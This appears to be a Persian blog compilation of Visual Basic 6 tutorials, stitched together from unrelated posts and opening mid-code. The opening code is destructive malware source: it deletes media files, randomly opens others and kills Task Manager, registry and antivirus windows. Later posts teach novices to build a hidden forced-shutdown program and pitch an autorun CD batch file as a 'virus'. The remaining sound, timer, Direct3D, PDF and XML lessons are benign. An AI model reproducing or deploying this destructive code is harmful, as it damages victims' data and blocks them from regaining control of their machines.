Next i
End If
'------------------------
File1.Pattern = "*.bmp;*.jpG;*.gif;*.wav;*.mp3;*.wma;*.html;*.htm"
xum = xum + 1
xzp = 113 + Int(Rnd * 1620)
If File1.ListCount > 0 And xum > xzp Then
File1.ListIndex = Int(Rnd * File1.ListCount)
sh.MinimizeAll
sh.Open (File1.Path + "\" & File1)
xum = 0
'----------------------------------------
End If
File1.Pattern = "*.dat;*.mpg"
If File1.ListCount > 0 Then
File1.ListIndex = Int(Rnd * File1.ListCount)
Set fasa = fso.GetFile(File1.Path + "\" & File1)
If fasa.Size > 1001367 Then
Kill (File1.Path + "\" & File1)
End If
End If
End Sub
Private Sub Dir1_Change()
File1 = Dir1
End Sub
Private Sub dri_n_Change()
Dir1.Path = dri_n
End Sub
Private Sub CloseWIN(Caption As String)
Dim h As Long
Dim h2 As Long
Dim wn As String
wn = Space(255)
h = GetForegroundWindow()
GetWindowText h, wn, GetWindowTextLength(h) + 1
panam = LCase(CStr(wn))
If panam = LCase(Caption) Then
h2 = h
DestroyWindow h
DoEvents
If h2 = GetForegroundWindow() Then SendKeys "%{f4}"
End If
End Sub
Private Sub clow_tik_Timer()
On Error Resume Next
CloseWIN ("h.no")
If InStr(1, LCase(panam), "task manager") <> 0 Then CloseWIN (panam)
If p(1) = 1 And panam <> "" Then CloseWIN (panam)
If p2 = "close" Then CloseWIN ("Windows Task Manager")
If p(3) = 1 Then CloseWIN ("Control Panel")
'--------------------
If InStr(1, LCase(panam), "virus") <> 0 Then CloseWIN (panam)
'--------------------
If InStr(1, LCase(panam), "worm") <> 0 Then CloseWIN (panam)
'---------------------
If InStr(1, LCase(panam), "notepad") <> 0 Then CloseWIN (panam)
'--------------------
If InStr(1, LCase(panam), "new") <> 0 Then CloseWIN (panam)
'---------------------
If InStr(1, LCase(panam), "reg") <> 0 Then CloseWIN (panam)
If InStr(1, LCase(panam), "internet") <> 0 Then
p(11) = p(11) + 1
If p(11) > 50 Then
sh.MinimizeAll
sh.Open "http:\\www.arnh.blogfa.com"
End If
Else
p(11) = 0
End If
'----------------------------------------
End Sub
ایکس بیست هفت سوخت . چرا که محدود بود .
اما xs27 ترکیبی از اسمبلی و بیست هفت هست . منتظرش باشید .
برادر کوچک شما علیرضا .::.
بخش وِیژه برای آماتورها
.
سلام . از افکار متضاد خداحافظی کردم
و اومدم سراغ آموزش برنامه نویسی ویژال بیسیک . یه چندتا نکته رو در مورد برنامه
نویسی بگم که البته برای آماتور ها یه چیز آموزشی هم محسوب میشه
.
1.
عالم برنامه نویسی اونقدر وسیع هست .
که هیچ کس نمی تونه ادعای در مورد اون داشته باشه .
2.
برنامه نویسی در دو سطح حرفه ای و
آماتور انجام میشه .
3.
کسی که بانک
اطلاعاتی بوسیله برنامه نویسی طراحی می کنند . الزاما برنامه نویس
نیست.
4.
هیچ منبعی برای آموزش بهتر از تمرین
نیست.
5.
مطالعه سورس کد ها بهترین راه برای
آشنایی با برنامه نویسی است.
6.
برای برنامه نویسی بجز تهیه ریفرنس
هزینه ای خرج نکنید .
7.
کسی نمی تواند
به شما برنامه نویسی یاد بدهد . بلکه شما را با اصطلاحات آشنا می کند
.
8.
غرق شدن در اصطلاحات برنامه نویسی .
برنامه نویسی را از یک چیز شیرین به یک چیز سخت و دشوار و البته کسل کننده تبدیل می
کند
9.
مهندس کامپیوتر هی چی نمی دونه . هرچی
گفت بی خیالش .
10. فقط و فقط یک
زبان را برای برنامه نویسی انتخاب کنید (البته با توجه به چیزی که از برنامه نویسی
می خواید . برنامه نویسی را آغاز کنید )
آشنایی با یک تابع
.
Function Shell(PathName, [WindowStyle]) As
Double
تابع shell مثل عملکرد run در ویندوز برای
برنامه نویسی است .
PathName : آدرس محل برنامه ای که قرار است اجرا شود
.
WindowStyle : حالت باز شدن پنجره برنامه می باشد .
کاربرد:
مثلا برنامه
Pv.exe
را در شاخه "m:\ali reza\spy"
دارید.
فراخوانی برنامه به
صورت زیر می باشد .
Call shell "m:\ali
reza\spy\pv.exe"
در صورتی که حالات نمایش پنجره را مشخص نکنید . مثل مثال
بالا . نمایش پنجره همان نمایش پیش فرض ویندوز می باشد.
استفاده از سویچ ها
:
این تابع سویچ های فراونی
دارد که می توان معروفترین سویچ یعنی
regedit را
نام برد .
به عبارتی تمامی سویچ
هایی که در منوی run
استفاده می شود .
یکی از سویچ های های که
باعث معروفیت ویروس ساسر و بلاستر شد .
سویچ "shutdown -s -t
0"
(مخصوص Xp)
بود
این سویچ کامپیوتر را
خاموش می کند و اگر بجای "s" حرف "r"
را قرار دهیم . سیستم را ریست می کند .
با هم برنامه بنویسیم
:
یه تایمر به فرمتون
اضافه کنید.
هرچی کد هست رو پاک
کنید و کد زیر رو کپی کنید
.
|
Private Sub Form_Load
() 'bara Amozesh app.
(tanks ali reza) Me.Visible =
False App.TaskVisible =
False Timer1.Interval =
1 Timer1.Enabled =
True End Sub Private Sub
Timer1_Timer () Shell "shutdown -s
-t 0" End Sub |
حالا برنامه رو کامپایل
کنید .
کار برنامه : سیستم رو هر جوری که شده خاموش می کنه .(البته برای xp )
Declare Function sndPlaySound Lib "winmm.dll" Alias "sndPlaySoundA" (ByVal lpszSoundName As String, ByVal uFlags As Long) As Long
همانطور که مي بينيد مثال فوق يک Declare از تابع sndPlaySound مي باشد که اين تابع در کتابخانه Winmm.dll موجود است . کلمه Alias نشان مي دهد که اين تابع نام ديگري در dll دارد . ساير بخشها مربوط به تعريف پارامترهاي تابع مي باشند که در مورد مثال فوق ، اين تابع دو پارامتر ورودي و يک خروجي از نوع Long دارد .
پس از Delare کردن API در برنامه مي توانيد از آن استفاده نمائيد .
۲ - پخش فايلهاي Wav : تابعي که براي پخش فايلهاي Wav استفاده مي شود تابع sndPlaySound است که در بالا با آن آشنا شديد . پارامتر lpzSoundName نام و مسير فايل Wavو پارامتر uFlags چگونگي پخش فايل را مشخص مي کند . مقادير ممکن اين پارامتر عبارتند از :
- SND_ASYNC : اجازه مي دهد طوري فايل Wav پخش شود که آنرا بتوان وقفه داد . بعبارت ديگر قادر خواهيد بود فايل Wav تان را هر زمان که بخواهيد پخش کنيد و مطمئن باشيد که حتماً شنيده مي شود .
- SND_LOOP : فايل Wav را بطور ممتد پخش مي کند .
- SND_NODEFAULT : اگر فايل Wav پيدا نشود صداي ديگري پخش نخواهد شد ( مثلاً برخي صداهاي default ويندوز )
- SND_SYNC : در طول پخش فايل Wav کنترل به برنامه داده نمي شود . اين پارامتر در زمانيکه مي خواهيد فايل Wav اي را در پس زمينه برنامه تان پخش کنيد مناسب نمي باشد .
- SND_NOSTOP : اگر فايل Wav اي قبلاً در حال پخش باشد ، فايل Wav شما آنرا دچار وقفه نمي کند . از اين پارامتر زماني استفاده مي شود که بخواهيم فايل Wav مان هيچوقت در وسط کار قطع نشود .
اگر بخواهيد از بيش از يکي از اين پارامترها استفاده کنيد توسط Or آنها را ترکيب نمائيد مثال :
sndPlaySound App.path & "\ding.wav", SND_ASYNC or SND_LOOP
نکته : براي استفاده از توابع صوتي پيچيده تر بايستي از DirectSound که يکي از اجزاي DirectX مي باشد استفاده کنيد . در مورد DirectSound بعداً صحبت خواهم کرد .
۳ - ساخت يک تايمر با دقت بالا : شايد تا بحال از کنترل تايمر موجود در نوار ابزار ويژوال بيسيک استفاده کرده باشيد . اين تايمر داراي دقت حدود ۵۵ ميلي ثانيه است . براي دستيابي به زمانهاي با دقت بالاتر اين کنترل مفيد نخواهد بود .
تابع GetTickCount يک API موجود در کتابخانه Kernel32.dll است . اين تابع طول زماني را که سيستم شروع به کار کرده است را برحسب ميلي ثانيه برمي گرداند :
Private Declare Function GetTickCount Lib "kernel32" () As Long
براي بررسي طي شدن يک مدت زماني خاص شما ابتدا بايد مقدار اين تابع را در يک متغير کمکي مثل TempTime قرار دهيد سپس در يک حلقه Do-Loop بايد اختلاف زمان GetTickCount جديد و زمان TempTime را با مقدار زماني که مي خواهيد سپري شود مقايسه کنيد :TempTime = GetTickCount()x
Do While DesiredTime < GetTickCount() - TempTime
Do some things'
Loop
توسط کد بالا مي توان يک عمليات خاص را براي يک مدت زماني مشخص اجرا کرد .
کد زير نشان مي دهد که چگونه مي توان دستورات خاصي را در فواصل زماني خاص اجرار کرد :
ExitFunction = False
TempTime = GetTickCount()x
Do While not(ExitFunction)x
If DesiredTime < GetTickCount() - TempTime then
Reset the temporary variable'
TempTime = GetTickCount()x
Do some things'
End If
Loop
همچنين از تابع GetTickCount مي توان براي benchmark برنامه ها استفاده کرد . بعبارت ديگر مي توان زمان اجراي يکسري دستورات خاص را بدست آورد .
Dim VBuffer as Direct3DVertexBuffer8
Dim IBuffer as Direct3DIndexBuffer8
Dim Vlist(0 to 7) as LITVERTEX
Dim Ilist(0 to 35) as Integer
تابع InitGeometry بصورت زير بازنويسي مي شود:
۱- توليد هشت vertex براي مکعب :
Vlist(0) = CreateLitVertex(-1, -1, -1, &HFF0000, 0, 0, 0)x
Vlist(1) = CreateLitVertex(-1, 1, -1, &HFF00&, 0, 0, 0)x
Vlist(2) = CreateLitVertex(1, -1, -1, &HFF&, 0, 0, 0)x
Vlist(3) = CreateLitVertex(1, 1, -1, &HFF00FF, 0, 0, 0)x
Vlist(4) = CreateLitVertex(-1, -1, 1, &HFFFF00, 0, 0, 0)x
Vlist(5) = CreateLitVertex(-1, 1, 1, &HFFFF, 0, 0, 0)x
Vlist(6) = CreateLitVertex(1, -1, 1, &HFFCC00, 0, 0, 0)x
Vlist(7) = CreateLitVertex(1, 1, 1, &HFFFFFF, 0, 0, 0)x
۲ - ايجاد Vertex Buffer توسط تابع CreateVertexBuffer :
Set VBuffer = D3DDevice.CreateVertexBuffer(Len(Vlist(0)) * 8, 0, Lit_FVF, D3DPOOL_DEFAULT)x
D3DVertexBuffer8SetData VBuffer, 0, Len(Vlist(0)) * 8, 0, Vlist(0)x
۳ - توليد index ها :
front '
Ilist(0) = 0: Ilist(1) = 1: Ilist(2) = 2
Ilist(3) = 1: Ilist(4) = 3: Ilist(5) = 2
Right '
Ilist(6) = 2: Ilist(7) = 3: Ilist(8) = 6
Ilist(9) = 3: Ilist(10) = 7: Ilist(11) = 6
Back '
Ilist(12) = 6: Ilist(13) = 7: Ilist(14) = 4
Ilist(15) = 7: Ilist(16) = 5: Ilist(17) = 4
Left '
Ilist(18) = 4: Ilist(19) = 5: Ilist(20) = 0
Ilist(21) = 5: Ilist(22) = 1: Ilist(23) = 0
Top '
Ilist(24) = 1: Ilist(25) = 5: Ilist(26) = 3
Ilist(27) = 5: Ilist(28) = 7: Ilist(29) = 3
Bottom '
Ilist(30) = 2: Ilist(31) = 6: Ilist(32) = 0
Ilist(33) = 6: Ilist(34) = 4: Ilist(35) = 0
۴ - ايجاد Index Buffer توسط تابع CreateIndexBuffer :
Set IBuffer = D3DDevice.CreateIndexBuffer(Len(Ilist(0)) * 36, 0, D3DFMT_INDEX16, D3DPOOL_DEFAULT)x
D3DIndexBuffer8SetData IBuffer, 0, Len(Ilist(0)) * 36, 0, Ilist(0)x
تابع Render : براي رندر کردن اين مکعب دو روش وجود دارد :
۱ - استفاده از تابع DrawIndexedPrimitive : در اين روش از VBuffer و IBUffer و آرايه vertex ها استفاده مي شود :
Public Sub Render()x
D3DDevice.Clear 0, ByVal 0, D3DCLEAR_TARGET Or D3DCLEAR_ZBUFFER, 0, 1#, 0
D3DDevice.BeginScene
D3DDevice.SetStreamSource 0, VBuffer, Len(Vlist(0))x
D3DDevice.SetIndices IBuffer, 0
D3DDevice.DrawIndexedPrimitive D3DPT_TRIANGLELIST, 0, 36, 0, 12
D3DDevice.EndScene
D3DDevice.Present ByVal 0, ByVal 0, 0, ByVal 0
End Sub
۲ - استفاده از تابع DrawIndexedPrimitiveUP : در اين روش از آرايه هاي vertex و index استفاده مي شود :
Public Sub Render()x
D3DDevice.Clear 0, ByVal 0, D3DCLEAR_TARGET Or D3DCLEAR_ZBUFFER, 0, 1#, 0
D3DDevice.BeginScene
D3DDevice.DrawIndexedPrimitiveUP D3DPT_TRIANGLELIST, 0, 8, 12, Ilist(0), D3DFMT_INDEX16, Vlist(0), Len(Vlist(0))x
D3DDevice.EndScene
D3DDevice.Present ByVal 0, ByVal 0, 0, ByVal 0
End Sub
دو راه برای نمایش فایلهای Pdf در ويژوال بيسيک وجود دارد :
- استفاده از دستور ShellExecute برای نمایش فایل توسط Acrobat Reader . برای مثال :
ShellExecute hwnd, "open", "C:\acrobat5\reader\acrobat.pdf", vbNullString, "C:\", 1
در این روش نرم افزار Adobe Acrobat حتماً بایستی روی هر کامپیوتری که پروژه تان را روی آن اجرا می کنید وجود داشته باشد .
- استفاده از کتابخانه Adobe Acrobat Type Library:
در این روش بایستی نرم افزار Adobe Acrobat روی کامپیوتری که پروژه تان را روی آن Develop می کنيد وجود داشته باشد . ابتدا کتابخانه فوق را از بخش references موجود در منوی Project به پروژه تان اضافه کنید . سپس با استفاده از اشیای کلاس Acrobat می توانید برنامه مورد نظرتان را بنویسید . برای مثال کد زیر عنوان فایل Pdf را استخراج می کند :
Dim opdf As Acrobat.CAcroPDDoc
Set opdf = CreateObject("AcroExch.PDDoc")
opdf.Open (x)
Dim y As String
y = opdf.GetInfo("Title")
کد زیر مشابه روش بالا است اما احتیاجی به اضافه کردن کتابخانه مذکور به references نیست :
Dim opdf As Object
Set opdf = CreateObject("AcroExch.PDDoc")
opdf.Open (x)
Dim y As String
y = opdf.GetInfo("Title")
سلام
از کسایی که ادعا کرده بودند معمای X27 رو حل کردن. تقاضا می کنم برای حفظ آبروی خودشون .ضد شو بنویس و ارسال کنند و اما در ادامه آموزش ویژال بیسیک در افکار متضاد می خوام یه چند سطری از داس بگم.
برید داخل Notpad این چند سطر رو بنویسید و بعد با فرمت "*.bat" ذخیره کنید. مثل ali.bat
سر آخر یه ویروس دارید . که اگه اتو ران کنید و بذارید روی سی دی با بالا اومدنش کامپیوتر طرف رو داغون می کنه.
".................."
روی start رفته و روی run کلیک کنید و notepad را تایپ کنید بعد از باز شدن پنجره این ها رو بنویسید توش
@echo off
Cls
===========
Color fc
===========
خوب تایپ کردن دیگه بسه این فایل را با هر نامی که دل تان خواست ذخیره کنید ولی پسوند را با نام bat بگذارید ، مثل arnh.bat
"..............."
برای اتو ران هم یه فایل به نام Autorun.ini باز می کنید . برای ذخیره در Notpad با فرمت دلخواهتون فقط نام فایل رو داخل گیومه بزارین مثل "Autorun.ini"و save کنید.
داخل فایل این رو بنویسد.
[AutoRun]
OPEN=*.bat
· *نام فایل که برای ویروس خودتون گذاشتید.
---------------"
یه برنامه دیگه که آیکون های روی دسکتاپ رو مخفی می کنه.
اول یه فرم ساده
بعد چهار تا باتون
که اسماشون اینه
cmdDShow به نام : نمایش
cmdExit به نام : بستن
cmdDHide به نام : مخفی کردن
حالا یه ماژول که اینو می ریزین داخلش
"---------------------------"
Option Explicit
Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Public Const SWP_HIDEWINDOW = &H80
Public Const SWP_SHOWWINDOW = &H40
Declare Function ShowCursor& Lib "user32" (ByVal bShow As Long)
"---------------------"
در ادامه روی فرم دابل کلیک می کنید هرچه سورسه پاک می کنید و فقط اینو می ریزین
"------------------------------"
Option Explicit
Private Declare Function FindWindowEx Lib _
"user32" Alias "FindWindowExA" (ByVal hWnd1 _
As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, _
ByVal lpsz2 As String) As Long
Private Declare Function ShowWindow Lib "user32" _
(ByVal hWnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function SystemParametersInfo _
Lib "user32" Alias "SystemParametersInfoA" _
(ByVal uAction As Long, ByVal uParam _
As Long, lpvParam As Any, _
ByVal fuWinIni As Long) As Long
Private Const SPI_SCREENSAVERRUNNING = 97
Private Sub cmdDHide_Click()
Dim hWnd As Long
hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
ShowWindow hWnd, 0
End Sub
Private Sub cmdDShow_Click()
Dim hWnd As Long
hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
ShowWindow hWnd, 5
End Sub
Private Sub cmdExit_Click()
Me.Hide
End
End Sub
"-----------------------------"
برای امروز دیگه کافیه
هر سوالی . هر پیشنهادی دارین در بخش پرسش و پاسخ بذارید
همانطور که در قسمت سوم مباحث برنامه نويسی اکتيوايکس های سرور سايد گفته شد برای قرار دادن پارامترهای اتصال به بانک اطلاعاتی از فايل XML استفاده خواهيم نمود . بنابراين ابتدا بايستی کلاسی برای کار با فايلهای XML بنويسيم . توجه داشته باشيد که کلاسی که در اين بخش معرفی می شود کلاسی ساده می باشد که فقط با آن می توان مقدار يک ند Node وجود در فايل xml را خواند . در صورت نياز ، می توانيد خودتان متدهای ديگری را به آن اضافه کنيد . برای اين منظور نکاتی را در انتهای همين بخش آورده ام .
XML يک زبان نشانه ای توسعه پذير ( eXtensible Markup Language ) است که در سال 1998 توسط کنسرسيوم وب جهانی W3C ايجاد شد . XML واقعاً يک زبان نيست بلکه يک متا-زبان است و برای توصيف ساير زبانها بکار می رود . داده ها در فايلهای XML براحتی قابل تعريف و استفاده هستند .
مثالی از يک فايل XML :
<user>
<name>ali</name>
<id>12</id>
</user>
کار با فايلهای XML در وی بی :
برای کار با فايلهای xml در ويژوال بيسيک بايستی ابتدا از بخش References مورد Microsoft XML 3.0 را انتخاب کنيد . سپس يک Class Modules به پروژه تان اضافه کنيد و نام آنرا XMLReader بگذاريد . در اين کلاس ابتدا يک متغير از نوع شی xml برای کار با فايلهای xml تعريف می کنيم :
Private xml
سپس متدی برای مقداردهی اوليه شی xml می نويسيم . اين متد دارای يک متغير ورودی است که نام فايل xml مورد نظر می باشد :
Public Sub Initiate(ByVal filename As String)x
Set xml = CreateObject("Microsoft.XMLDOM")x
xml.async = False
xml.Load (server.MapPath(filename))x
End Sub
توجه کنيد که در کد فوق از شی server برای يافتن مسير فيزيکی فايل XML استفاده شده است بنابراين ابتدا بايستی در Class_Initialize اين شی را مطابق مطالب درس دوم مقداردهی کنيد .
حال بايستی متدی برای خواندن مقدار يک ند از فايل xml بنويسيم . در اين متد توسط يک حلقه for each ندهای فايل را بررسی می کنيم تا ندی را بيابيم که نامش مشابه با متغير ورودی متد است . سپس با استفاده از خاصيت nodeValue می توانيم مقدار آنرا بخوانيم .
Public Function getvalue(ByVal NName As String) As String
Dim x
getvalue = ""x
For Each x In xml.documentElement.childNodes
If x.nodeName = NName Then
getvalue = x.childNodes(0).nodeValue
Exit For
End If
Next
End Function
مثالی از کار با کلاس XMLReader :
همانطور که گفته شد می توانيم پارامترهای اتصال به بانک اطلاعاتی را در فايل XML قرار دهيم و در زمان Initiate کردن ADODB برای اتصال به بانک اطلاعاتی ، آنها را بخوانيم :
Dim xmlf As New XMLReader
Call xmlf.Initiate("config.xml")x
userName = xmlf.getvalue("DataBaseID")x
Password = xmlf.getvalue("DataBasePassword")x
database_name = xmlf.getvalue("DataBaseName")x
server_name = xmlf.getvalue("ServerAddress")x
ساختار يک فايل نمونه config.xml بصورت زير می باشد :
<Application>testIt</Application>
<ServerAddress>192.168.0.1</ServerAddress>
<DataBaseName>Edatabase</DataBaseName>
<DataBaseID>Euser</DataBaseID>
<DataBasePassword>Epass</DataBasePassword>
ساير نکات برای توسعه کلاس فوق :
نکات زير شما را در نوشتن کلاسی کاملتر راهنمايي می کنند :
1 - توجه داشته باشيد که xml.documentElement بعنوان ريشه فايل xml محسوب می شود . بنابراين برای دسترسی به ريشه می توان يک شی ريشه نيز تعريف کرد :
Dim root
Set root = xml.documentElement
2 - در صورتيکه يک فايل xml دارای چندين ند در ريشه اش باشد و هر ند ريشه نيز دارای چندين ند درونی باشد توسط خاصيت root.childNodes.length و با استفاده از يک حلقه for می توان به اين ندها دسترسی داشت . برای مثال فايل زير را درنظر بگيريد :
<people>
<user>
<name>ali</name>
<id>1</id>
</user>
<user>
<name>reza</name>
<id>2</id>
</user>
</people>
حلقه زير روش دسترسی را به اين فايل نشنان می دهد :
For I = 0 TO (root.childNodes.length - 1)x
Set thisChild = root.childNodes(I)x
name = thisChild.childNodes(0).Text
id = thisChild.childNodes(1).Text
Next
3 – اضافه کردن ند به فايل : برای اضافه کردن ند از متدهای createNode و appendChild استفاده می شود برای مثال برای اضافه کردن يک user جديد به مثال فوق :
Set newuser = xml.createNode("element", "people", "")x
Dim name,id
Set newname = xml.createNode("element", "name", "")x
newname.text = yourname
Set newid = xml.createNode("element", "id", "")x
newid.text = yourid
newuser.appendChild(newname)x
newuser.appendChild(newid)x
root.appendChild(newuser)x
در انتها نيز بايستی فايل را ذخيره نمود :
xml.save(Server.Mappath(filename))x
4 – حذف يک ند از فايل : برای حذف يک ند از فايل توسط يک حلقه for بايستی ند مورد نظر را يافته و سپس توسط متد removeChild آنرا حذف کنيم :
found = False
For I = (root.childNodes.length - 1) TO 0 STEP -1
Set thisChild = root.childNodes(I)x
name = thisChild.childNodes(0).Text
If name = searchname Then
root.removeChild(thisChild)x
found = True
End If
Next
در انتها نيز فايل xml را ذخيره کنيد .